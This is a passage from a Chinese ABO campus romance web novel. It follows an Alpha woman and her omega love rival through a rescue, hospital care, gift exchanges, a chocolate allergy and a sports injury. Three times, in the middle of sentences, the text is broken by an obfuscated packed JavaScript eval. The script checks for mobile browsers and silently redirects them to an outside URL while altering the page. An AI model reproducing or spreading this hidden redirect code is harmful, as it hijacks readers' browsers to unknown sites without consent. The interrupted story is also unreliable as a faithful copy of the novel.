孟初欢慢条斯理地撸袖子,面上虽笑着眼里却满是寒意,“不是好奇我力气大不大吗,马上就知道了。” 路亦然:“……哦。” 要他说几次,他真的真的不傻也不结巴。 要放之前,他高低得骂回去,但现在——看着孟初欢身形灵活地穿梭在一众Alpha之间,一拳一个Alpha,不一会儿周围就七零八落地倒了一地人。 就还……蛮帅的。 就剩下段非和报信的omega还站着,这两个是想跑的,但显然有人不让。 两人被突然出现的陌生女Alpha一人一脚踹在了膝弯,“过去道歉。” 路亦然无视踉踉跄跄狼狈走过来道歉的两个omega,盯着回来的孟初欢看了两秒,突然说:“你好、好大……” 孟初欢:“?” 不会真傻了吧? “……的力气。” 孟初欢短暂地无语了一下,“你能别大喘气说话吗?” 路亦然喔了声,眼睛一眨一眨地:“这才是结巴,我只是在向你说明我不是结巴。” “行,不结巴,纯傻行了吧。”孟初欢伸出去一只手,“不出来是还想蹲里面?” 路亦然:……都说了他不傻。 默了两秒,他抓住孟初欢伸出来的手借力从推车里下来,然后铆足劲给了段非一脚,刚好踹在肚子上,刚才那几个人打他的时候打得最多的就是肚子,痛得要命。 等段非蜷缩着倒在地上,他又蹲下身抓起衣领狠狠甩了他一巴掌,“让你绑架我,让你打我!” 他体力所剩不多,就刚开始几下打得还有点力道,但也基本上没留下什么痕迹,后面就跟软绵绵的喵喵拳似的。 孟初欢站在旁边面无表情地看着他一顿操作猛如虎,一看伤害零点五。 “啧。” 女Alpha终于看不下去,拽着情敌的后领子把人拉起来,“你在给他挠痒痒吗?” 路亦然:“没啊,我揍他呢。” 孟初欢:“警察马上来了,待会儿记得多卖惨。” omega撩起袖子露出胳膊上一块接一块的青紫色淤痕,“我这还需要卖吗?” 他伸手轻轻按了一下肚子,痛得眼泪立马飙了出来,“呜……明明是肉眼可见的惨。” 孟初欢看着omega白净皮肤上青紫交加的痕迹,没来由地觉得刺眼。 她不是第一次见情敌流眼泪,但这次……或许是情敌哭得格外惨的缘故,她总觉得心里某块地方隐隐被什么东西刺中了。 这种感觉陌生且突然,来得快去得也快,孟初欢没在意,只说:“待会儿在警察面前想哭就哭,不用憋。” 路亦然化身流泪猫猫头点了两下脑袋。 一群人被警车拉进了警局,在警局待了多久,路亦然就哭了多久,一双小鹿眼哭得红彤彤雾蒙蒙,还有点肿。 两人单独在休息区等待其他人做笔录的时候,孟初欢实在看不下去,用纸巾按住情敌的眼睛:“再哭就要瞎了。” “呜呜……是你说的不用憋。” 孟初欢感受到按在手心下的纸巾又湿了一点,她只能放大招:“再哭我就打电话给陈百川,告诉他你喜欢他。” 大招不愧是大招,效果几乎是立竿见影,路亦然吸了两下鼻子,脑袋后仰躲开眼睛上的纸巾,瓮瓮地说:“我不哭了……你别打电话。” 哭了这么久,他总算发觉眼睛有点干涩的疼,不过好在他的眼泪没白流,几个打人的Alpha被拘留十天并且要赔偿路亦然五千块杂七杂八的费用,段非和报信的omega因为没参与打人,只拘留三天。 —— 第二天,路亦然在医院醒来,浑身酸痛,脸上的巴掌印还有些微肿,病床旁是在椅子上睡了一夜的孟初欢。 说是一夜,其实也就三个多小时,她把路亦然送来医院的时候都已经凌晨四点了。 “你怎么找到我的?” 孟初欢掏出兜里的手机,“你的吧?垃圾桶边捡的。” “那群人当时把我手机扔垃圾桶了来着。”路亦然接过手机摸了两把,语气嘲讽:“不过他们这准头也太差了吧,那么近的距离都没扔进去。” 拿到手机,路亦然第一时间给段昌宏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15628401|172497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打电话,告诉他他的好儿子不仅逃晚自习还被拘了。 并且没等对面回应就挂电话拉黑一套丝滑小连招,主打的就是一个一箭双雕——既能气到段昌宏又能恶心到段非。 至于段非被亲爸保释出来后又要遭受一番怎样的磋磨(比如扣生活费冻结银行卡、关个十天半个月的禁闭、大吃一顿竹笋炒肉等等)就不是他该关心的事了。 “所以你到底是怎么找到我的?”告完状心情舒畅的omega撑着下巴继续问。 “没找到,你自己撞上来的。”孟初欢把削好的梨切成小块,“我当时正在报警,结果一辆推车就冲过来了,还有个人在里面叽叽哇哇傻了吧唧地大叫。” 她把切好的梨装盘递过去:“你要的电视剧里的梨。” “哪里傻了吧唧?肯定是你耳朵出问题了。” 路亦然吃完一块梨又叉一块:“挺甜的,你要不要来一块?” 孟初欢刚想着难道情敌要给她喂梨就见这人把梨喂进了自己嘴巴,一块接一块的没多久就只剩下半盘。 孟初欢:“唯一的一个叉子在你手里。” “……嗯?”omega咀嚼的动作一顿,看看盘子再看看叉子,脸上露出纠结的表情,最后还是叉了块梨递到情敌嘴边:“嘴巴不准碰叉子。” 孟初欢眉毛轻轻一挑,“你是不是忘了你的嘴碰过叉子。” 默了两秒,路亦然收回叉子:“不吃算了。” 说完还把那盘梨往怀里揣了点。 孟初欢:“……” 哪怕受了伤情敌的脸皮也不见变薄,没记错的话,那盘梨还是她切的。 女Alpha用手里削皮的刀子叉了一块梨小心咬进嘴里,“不怎么甜。” “你吃那么多糖,当然不觉得甜。” 这是路亦然最近才发现的事,孟初欢是他见过的最喜欢吃糖的人,偏偏这人还不蛀牙,简直没有天理。 在孟初欢的提醒下,路亦然拜托室友姜清帮他在辅导员那儿请了假。 除了请假的事,孟初欢还提过告诉陈百川让他来看看伤员,但被伤员本人拒绝了,理由是:陈百川作为辅导员助理本来就忙得要死,不能再让他担心。 孟初欢当然乐意避免一切能让情敌和陈百川增进感情的机会,为此她甚至愿意放下课业主动揽过照顾伤员的任务,虽然她今天本来就没课。 病房门被推开,换药的护士拿着工具进来径直走到病床边,看向孟初欢:“你是他女朋友吧?这次换药比较疼,你帮我按住他别让他乱动。” 两人异口同声:“不是!” 护士奇怪地看了两人一眼,“不是就不是,那么大声干什么?” 医生不打诳语,药水涂到身上,路亦然疼得眼泪汪汪偏偏被孟初欢按着躲都不能躲。 只能嘶嘶嘶地不停抽气,生理性眼泪把枕头都打湿了一小块。 漫长的换药五分钟终于过去,等护士离开后,路亦然依旧疼得眉头皱成一团。 说两个字就抽一口气:“护士姐姐什么眼神,嘶……你是头猪都不可能是我女朋友好吧。” 孟初欢淡淡看他一眼:“为什么不能你是猪?” “因为我是小鹿。” omega把双手靠在脑袋两边,四根指头迎风而立,感受到女Alpha看过来的视线还故意弯了弯指节。 第一次见到会自己弯曲的鹿角,孟初欢很给面子地笑了下:“你好——” “傻狍子。” 路亦然:“……” 他面无表情放下双手,疑似失去了所有力气和手段。 说真的,路亦然已经替情敌以后的伴侣感到心塞了,有这么个气死人不偿命的家伙陪在身边,一定每天都在见识Alpha的多样性吧。 15. 礼包兑现 赵沫最近加了个小学弟的微信,小学弟还是个omega,长相不差声音也好听,唯一的缺点是小学弟对她没兴趣。 女Alpha兴致缺缺地打字:【特别喜欢的东西?甜食吧,这家伙是个嗜甜星人】 小学弟:【明白了,谢谢学姐】 赵沫:【不用谢[/嘴叼玫瑰]有问题随时问我[/爱心]】 管他呢,赵班长心态极其乐观,说不定小学弟什么时候就看破一切回心转意对自己感兴趣了。 毕竟……你永远都追不上一个心有所属的人,就像你永远都叫不醒一个装睡的人。 刚把手机揣回兜里,赵沫一抬眼被吓得大跳起来:“你你、你什么时候来的!” 男omega撇撇嘴:“早就来了,是你自己只顾着回消息没看到。” 被一个omega吓成这副摸样实在是有点丢脸,赵沫咳了两声,若无其事地问:“干什么?” “孟初欢在寝室吧?”路亦然递出去一袋小熊饼干:“麻烦学姐帮我叫她下来一趟。” 赵沫迅速接过那袋小熊饼干,然后摩挲着下巴,眼神奇怪,“啧啧啧……你俩这个关系,你叫她下来不会是想找她麻烦吧?” “对,你猜的没错。”路亦然伸出一只手:“不叫的话饼干还我。” 他话音刚落,就见面前的女Alpha把小熊饼干抱进了怀里,“不还!” 然后转身上楼叫人去了。 路亦然:“……” 什么是损友?这就是啊。 不过赵沫坚决不承认自己是损友,她只是犯了所有吃货都会犯的错而已,怎么就算损友了呢? 没办法,都怪室友情敌做的小熊饼干太好吃了。 “喂,初欢,情敌找你,在楼下。” 闻言,孟初欢暂时放下手头母上大人下发的任务(有关孟氏集团接下来走向的几个决策),看向正大快朵颐的室友:“收贿赂了?” 赵沫对发小举起小熊饼干口袋,非常实诚:“嘿嘿,你要不?” 女Alpha眉飞色舞,砸吧了两下嘴:“就是吧,总感觉比上次的甜了不少,你不是说上次的没啥味儿吗,尝尝这次的。” 孟初欢很给面子地尝了一块:“不错,比上次好吃。” 赵沫突然皱起眉头,看看小熊饼干又看看发小,一拍桌子。 “靠!他就是专门给你做的吧!不然弄那么甜干什么?” “也可能是手抖糖放多了。”孟初欢又吃了块小熊饼干。 赵沫却不以为然,她哼了声,把小熊饼干推到孟初欢面前,抱着手臂阴阳怪气:“知道的说你们是情敌,不知道的还以为你俩有奸情呢!” 由于某吃货大生闷气,最后几块小熊饼干进了孟初欢的肚子,女Alpha拍拍发小的肩:“这么会脑补,来经管系属实屈才了。” 孟初欢下楼后,赵沫原形毕露,悄悄趴在阳台边上目不转睛盯着楼下会面的情敌组。 只是越看她越觉得不对劲,路亦然递给孟初欢的那两个小纸片怎么就那么像情书呢? 还有那个长方形大箱子……真的不是用来装玫瑰花的吗? …… “喂,你室友在上面偷看。”路亦然指了指头顶。 孟初欢也回头往上看,刚好瞥见半个急急忙忙撤回的脑袋“不用管她,找我什么事?” omega递出两个被塑封住的小卡片:“喏,两张弥森的TO签,帮你要到了。” 等女Alpha收了TO签,他又把背上背的大箱子抱到身前:“酒店那次我说让你等我的答谢大礼包,这就是了!” 孟初欢把TO签放进衣服口袋,接过大箱子掂了掂重量,眉毛一挑,她大概已经猜到里面是什么了。 不过小提琴她多的是,情敌这个礼包就实在称不上“大”了。 “相信我。”omega眉梢微扬,语气带点小骄傲:“你绝对会喜欢它的。” “要是不喜欢呢?” 路亦然根本没想过这个可能性,他哼了一声:“那我就把百川哥让给你。” 让? 不需要,她可以自己追到手。 不过情敌连这种话都说得出来,孟初欢不得不对这个大箱子里面的东西多了几分好奇。 十分钟后。 孟初欢看着大箱子里面的东西足足愣了二十秒钟。 她错了,情敌这个礼包哪里只是大,简直就是超超超超超——超级大。 陪伴了弥森整整十年的小提琴,从孟初欢粉上弥森开始,她在偶像的每一次演出上都见证过它的登场,直到五月二十号瓦兰音乐厅的那曲《弥鹿》,弥森身边都跟着它。 而现在,这把对所有弥森粉都具有着超绝吸引力和诱惑力的小提琴到了她孟初欢的手里。 太伟大了弥森!太伟大了情敌! 好不容易平复下激动的情绪,孟初欢就看到赵沫暗戳戳地把手往箱子里的小提琴身上伸,她毫不留情一巴掌拍过去。 “不准摸。” “不就是把小提琴吗?”赵沫委屈巴巴地揉着手背:“哪里就这么宝贝了?” 孟初欢虔诚地合上箱子然后放进了柜子里,长舒一口气:“你不懂,这是弥森用了十年的小提琴。” 赵沫大惊:“不是吧?二手货你都这么宝贝!” 孟初欢:“……” 算了,跟你们没有偶像的人说不明白。 —— “孟学姐,谢谢你之前指导我拉小提琴。”男omega递出手里包装精致的巧克力盒,柔声说:“这是谢礼。” 孟初欢花了七八秒认出面前的男生是情敌的同班同学,那个叫钟什么帆的,至于指导小提琴……她回想了一会儿,好像确实有这么一回事。 当时是音乐社每个月例行的社员交流活动,主要是了解各个社员擅长的乐器,偶尔也会上手实操。 不巧的是那次交流活动上她和路亦然被分到了同一组,情敌非要上手拉小提琴又拉得非常难听,为了解救自己的耳朵,她才指点了几句。 并且考虑到情敌的自尊心万一比较酥脆,她没有专门指点情敌,也难怪这位omega会误以为自己是在指点他。隐约记得当时还有另一个组员也在拉小提琴,估计就是这个钟什么帆了。 “不用谢。”孟初欢语气淡淡:“我巧克力过敏,你自己吃吧。” omega明显愣住了,然后才红着脸收回了巧克力盒,低着头语无伦次地道歉:“对、对不起,我不知道……” “不用说对不起,这不是你的错,只有亲近的人才知道我巧克力过敏。” 孟初欢对不熟的人向来不会费心思讲究说话的艺术,因此她也不清楚这番话对于一个暗恋者来说杀伤力有多大。 …… 实验告一段落,忙活了一上午的路师傅刚出实验楼就伸了一个大大的懒腰,做实验做得他腰酸腿疼,脖子动起来还卡帧。 肚子空空的路师傅打算去食堂觅食,结果在银杏林旁边的小道上和情敌狭路相逢了。 感受到对面女Alpha落在自己胸前的视线,路亦然有点不自在:“你看我干嘛?” “扣子,错位了。” 路亦然低头一看,衬衫皱皱巴巴,一个扣子孤孤单单 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15632076|172497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地落在外面没进扣眼。 做实验的行动力就是快,孟初欢刚说完,他就开始解扣子了。 偏偏他解的位置有点特殊。只是一眨眼的功夫,孟初欢凭借着身高优势不费吹灰之力就瞥见了情敌颈下平直精致的锁骨和一小片白皙浅显的沟壑。 孟初欢:“……” 她当即就是一个抬头望天大动作,并且严重怀疑情敌是不是忘了她是个Alpha,要不就是生理课上没好好听讲不懂AO有别。 “天上有东西吗?”重新扣好扣子的omega见状也抬头望天。 孟初欢不理他,抬腿就要往前走,被情敌一把拦住:“等等!” omega在背包里一通乱翻,拿出来两根棒棒糖,仔细辨认了几秒后把其中糖分更多的一根递给了对面:“我做的,尝尝。” 孟初欢没接,先问了句:“你尝过吗?” “没。”omega笑得腼腆又不失尴尬:“你尝了没问题我再尝。” 孟初欢盯着那根棒棒糖看了两秒,伸手接过拆开含进嘴里:“懂了,我是小白鼠。” “也不算吧……”路亦然小声嘟囔着:“本来就是因为你我才学着做的。” 情敌前前后后已经帮了他一、二……四次!他毕竟不是什么忘恩负义的小人,既然没法为了情敌的爱情添砖加瓦,那就只能想方设法提升一下情敌的生活质量了—— 既然孟初欢那么喜欢吃甜食,那她以后的甜食他全包了! omega后面半句话声音太小孟初欢没听清楚,她感受着嘴里的味道,渐渐察觉出来一丝不对劲,声音都拔高了一个度。 “巧克力?” 路亦然不明白她的声音怎么突然变这么大,懵懵地说:“呃……我是在里面加了一点巧……” 话没说完他突然疑惑地诶了一声,边往旁边的银杏林看边问孟初欢:“你听到什么声音没有?像东西掉地上了。” “没。”孟初欢继续吃糖,自从小时候查出来巧克力过敏后她就没再碰过这东西了,乍一尝到味儿还有点舍不得吐出来。 反正她的过敏症状也不是多严重,就过这一次嘴瘾。 “绝对有!” 孟初欢被好奇心过盛的omega拉进银杏林,看见了一个有几分熟悉的巧克力盒。 跟情敌的同班同学手里那个有点像,不过具体的样子她也记不清,毕竟没仔细看。 “估计是谁不小心掉这儿了吧。”路亦然自言自语,一抬头就看见情敌脸上和脖子上冒出一片红疹子。 他惊得直接上手摸:“怎么红了?” 女Alpha冷静地好像这疹子不是长在她身上:“哦,我巧克力过敏。” 路亦然:! “过敏你不早说!”他把女Alpha嘴里的棒棒糖拔出来。 “还吃!大馋鬼!” 过敏的人不着急,不过敏的人倒是急得不行,俗称皇帝不急太监急,一路上连拉带拽地把孟初欢扯去了校医院。 “医生,她过敏了!” 医生:“过敏源?” 孟初欢:“巧克力。” 医生:“知道自己巧克力过敏吗?” 孟初欢:“知道。” 医生沉默了两秒:“你这种嘴馋的病人我见多了,必须忌嘴知道不?” 孟初欢点头:“知道。” 路亦然在旁边看得叹为观止,来校医院的路上情敌都还在问他有没有多余的巧克力棒棒糖(吓得他当场就把剩下的巧克力棒棒糖拆了扔嘴里了),结果这会儿又装得像个乖乖Alpha了。 ——呵呵,真会装。 16. 体测摔倒 经过路亦然数次的甜食投喂,孟初欢对情敌的看法稍微产生了那么一点点的偏移。 虽然情敌是她追爱路上最大的绊脚石,但他做甜食的手艺又很好地弥补了这一点。 当然,孟初欢也想过路亦然是不是想用甜食来牵制住自己,等她哪天彻底离不开他做的东西了,就图穷匕见威胁她放弃陈百川…… 但是吧……凡事总有例外,情敌都能做出这么好吃这么合她口味的甜食了,又能有什么坏心思呢。 可话又说回来,一只不会打洞的老鼠难道就不是老鼠了吗? 显然不可能,所以哪怕路亦然甜食做得再好吃,情敌也还是情敌,情敌是不可能变成其他什么身份的。 这种情况下,就得贯彻“一人两制”原则——对路亦然的甜品,孟初欢极度赞扬;但对他这个人,孟初欢坚决对抗。 “初欢,你情敌跑八百体测好像摔倒了。” 孟初欢抛开手里的篮球:“在哪?” 赵沫指了个方位,下一秒就看见发小快步朝那边跑过去了,表情还有点严肃和凝重。 女Alpha一头雾水地捡起篮球,这是对情敌的态度? 讲个笑话,她摔倒了孟初欢都没这么急。 赵沫思来想去发现这事儿细思极恐粗思也恐—— 啧啧啧……这俩绝对有奸情! 路亦然坐在地上痛得抿紧了唇,膝盖上擦破了手掌心那么大一块皮,形状不一的碎石子粘在带着血丝的皮肉上。 耳边是钟一帆带着哭腔的道歉声:“对不起亦然,我没想到我会低血糖突然撞到你……对不起,我真的不是故意的,亦然……你、你很疼吗?” 路亦然闻言抬眸看了身旁的omega一眼,嘴唇很白,面无血色,确实很像低血糖犯了。 他摸了摸上衣口袋,掏出来一颗糖:“你先把这个吃了,脸白得像鬼。” 钟一帆显然没料到他不仅不怪他还给了他一颗糖的行为,愣了两秒才把糖接过去吃了,又拿纸巾去擦路亦然伤口上的碎石子。 “别用纸擦。” 路亦然和钟一帆同时看向来人,一个表情别扭地瘪嘴:“你来干嘛,看我笑话?” 一个只看了一眼就立刻垂下眼睫:“……孟学姐。” 孟初欢走过去蹲下看了眼omega凄惨的膝盖,问:“手受伤没?” 路亦然摊开双手给她展示手心手背:“没,只有腿。” “手没伤就好,能碰水。”孟初欢找人借了瓶全新的矿泉水,拧开盖子,“你今天还欠我一个蛋糕。” 路亦然琢磨了会儿女Alpha前后跨度如此之大的两句话,然后怒了:“你还有没有同情心!我都这样了你还想让我给你做蛋糕?!” “嘶啊——” 路亦然憋住快要飙出来的眼泪,看向正在用矿泉水给他冲洗膝盖上石沙的情敌,眨巴了两下泪光闪烁的小鹿眼。 “……疼。” 孟初欢抬高瓶口让流下来的水流细了一点:“忍着。” “那蛋糕……” 没来由地孟初欢联想到森林中对人类讨好蹭动脑袋的小鹿,她抬眸对上omega楚楚可怜的眼神,脑子里凭空冒出一个词—— 撒娇。 瓶口的水流倏地断了,很快又立马续上,女Alpha面色不变:“待会儿你给我打个欠条。” 路亦然撇撇嘴:“别人打欠条都是欠钱,你是欠蛋糕。” 伤口清洗完毕,孟初欢拧上瓶盖,把omega从地上搀起来:“走两步。” 路亦然严格遵从她的指令,只走了两步,走完他看向女Alpha:“然后呢?” “然后去买一箱核桃,半小时内吃完。” 路亦然抬腿就要踩她,结果抬错了脚。 “……痛痛痛!” 孟初欢:“刚才走的时候不痛?” 路亦然抓着她伸出来的手臂:“痛啊。” 孟初欢:“那你不说?” 路亦然不服了:“你又没让我说……” 孟初欢:“我以为正常人痛了都会说。” “你意思是说我不正常咯?”路亦然瞪着她。 孟初欢没回答这个问题,只是低着眉看他:“不走是想让我抱你?还是背你?” “……哪种抱?”路亦然突然脑子瓦特问了句。 女Alpha意外地挑眉,走近一步弯下身把一只手放到了情敌腿弯的位置,另一只手放在背后,然后抬头和眼神躲闪的omega对视。 “这种抱,满意吗?” 路亦然能感觉到脸颊在迅速升温,他不自在地动了动没受伤的那条腿,离孟初欢的手掌远了一点。 明明没有碰到,他却好像感受到了情敌手掌传过来的灼热温度,烫得惊人。 “你……快起来。” 他轻轻扯着女Alpha的肩头布料,声音低到快听不见,十分后悔刚刚问了那句话。 过了几秒,孟初欢见omega脸色越来越红一直不敢跟她对视,才拿开手站直了,“现在走吗?” 路亦然小鸡啄米:“……走走走。” 女Alpha在omega看不到的角度轻轻勾了一下唇角,架着人胳膊就要往校医院走,被一旁的钟一帆拦住了。 “孟学姐,我送亦然去校医院吧,你还要上体育课。” 他的脸色很不好看,即便吃了一颗糖也还是白得吓人,没人知道他已经把掌心掐到没有知觉了。 不熟——两个人都是这么说的,但他觉得……明明就很熟,熟到他像个外人根本插不进去一点。 什么巧克力过敏,根本就是骗他的,凭什么别人送的巧克力能吃,他送的就不能吃了? 孟初欢没动,只说:“如果路上你低血糖又犯了呢,让他再摔一次?” 话落,omega的脸更白了,眼睛里也隐隐浮现水光,他手足无措:“对、对不起……” 话没说完,女Alpha已经架着人走了,尾音被风碾碎,钟一帆把嘴唇咬出一道深深的刻痕,眸中闪过一丝意味不明的光。 光这一学期就去了校医院好几次,路亦然都怀疑这儿的护士医生快认识他了,好不容易处理完伤口,他睁开闭得紧紧的眼睛。 映入眼帘的是情敌歪了的衣服,连锁骨和一点肩线都露在外面,袖口那块儿也皱皱巴巴跟被猫抓了似的,而他的爪子端端正正扣在上面。 omega尴尬收回手,目光不小心掠过女Alpha颈下凸起的锁骨,赶紧偏开头无所适从道:“你衣服……没事吧?” 孟初欢理了理歪掉的衣领和烂菜叶一样的袖口,掀起眼皮:“勉强能穿。” “哈哈……那就好。”路亦然看墙看地看窗外就是不看情敌,悄悄扣着指尖。 刚好这儿有纸笔,他撕了张纸下来写到: XXXX年X月X日,路亦然欠孟初欢一块蛋糕。 写完他在文字末尾下面一行画了个卡通鹿脑袋,交给孟初欢:“拿去,你要的欠条。” 女Alpha接过纸条看了两眼,视线定格在那个小巧可爱的鹿脑袋上,狐狸眼微微上挑。 “画如其人。” 路亦然以为她要说什么“都很好看”之类的话,做好了美美听夸的准备,结果就听见情敌吐出几个字: “蠢萌蠢萌的。” 路亦然:……好气! 他瞪圆了眼睛看着女Alpha,试图用目光骂她个百八十回,其实他更想用嘴骂来着,但又怕骂完了孟初欢把他一个人丢在校医院,他的腿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640080|172497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没有恢复到不用人搀扶就能自如走动的地步。 —— 有件事情路亦然已经愁了整整十天,那就是——陈百川的生日马上要到了,他到底送什么礼物好? 篮球、手表、耳机……哦对了,还有围巾什么的都已经送过了,他实在想不出来还能送什么了。 直到室友姜清问了他一个问题:“猜猜我之前送学姐的生日礼物是什么?” 路亦然还没猜出来,鼻尖就闻到了一股无花果的味道,他骤然抬眼看着姜清,舌头打结:“不、不会是……无花果味道的香水吧?” 不怪他吃惊,无花果是姜清信息素的味道,而姜清口中那位学姐是个Alpha,一个omega送Alpha自己信息素味道的香水……懂得都懂。 相比起直接和对方说“想让你身上全是我的味道”来得隐晦,但也更暧昧,带点藕断丝连的勾引,但凡两个人不是毫无感觉,收到香水那一刻就可以畅想一下以后的全垒打了。 他刚说完姜清就打了个响指:“聪明。” “你是说我可以送百川哥……铃兰味的香水?”路亦然表情纠结,眉头都拧到了一块,显然不怎么想。 “陈百川知道你信息素的味道?还是说他讨厌香水?” “呃……都不是。” 姜清一摊手:“那不就行了,我知道你怕什么,不就是怕他知道你喜欢他嘛。他又不知道你信息素啥味儿,干嘛不送?” “而且——”姜清话头一转:“你敢保证孟初欢不送他香水吗?如果她送了你没送……” “我送!”路亦然不等他说完就下了决定。 陈百川生日当天,路亦然从寝室出门,走到半路发现忘了带礼物只能让姜清先过去会所那边,自己原路返回拿礼物。 离开学校的时候正好碰到钟一帆也在往会所赶,就一起打了个车,等到了会所推开包厢门,路亦然打眼一看—— 沙发上位置倒是还有,他首先pass掉室友姜清旁边的位置,omega身边还坐着他的亲亲学姐,他可不想跑去做电灯泡。 剩下的几个位置也不尽如人意,旁边挨着的人不是不熟的就是…… 某个情敌。 他当机立断就要往不熟的人旁边坐,屁股还没落下去,猝不及防被打断了。 “路亦然,过来挨着我坐,陈百川让我管着你不准喝酒。” 女Alpha语气懒散带点笑意:“一口倒的小菜鸟。” 被叫住的人面色一垮,不情不愿地又走回去一屁股坐在情敌旁边。 简直要气成河豚:“大海都没你管得宽。” 两个人都没注意到包厢中央突然脚步顿住的钟一帆,他握紧了拳,崩着微微泛白的神色换了方向坐到另一个位置。然后抬眼看向侧对面,指甲不知不觉掐进掌心。 那个位置……他本来想坐的。 桌子上有饮料,路亦然看上了一杯橙红色的,刚想端起来手背就被人轻轻拍了一巴掌:“你喝不了。” 叛逆也是人生课题之一,路亦然现在就想好好研究一下这个课题,他先是瞪了一眼身旁的Alpha,撇撇嘴角:“我又没说要喝。” 然后端起杯子靠近闻了一下,表情更不爽了,明明就没有酒精味,孟初欢还不让他喝,这家伙分明就是在针对他! 可恶,他偏就要喝! 还没闻几下杯子就被孟初欢顺走了,然后极其自然地喝了一口,扎起情敌的心就像吃饭喝水一样简单。 她叹息着点评了一句:“味道不错,可惜你太菜喝不了。” 路亦然白她一眼,根本懒得理她。 中途孟初欢出去接了个电话,回来之后她一眼就看出了桌面的不同—— 那杯她喝过两三口的橙红色酒不见了。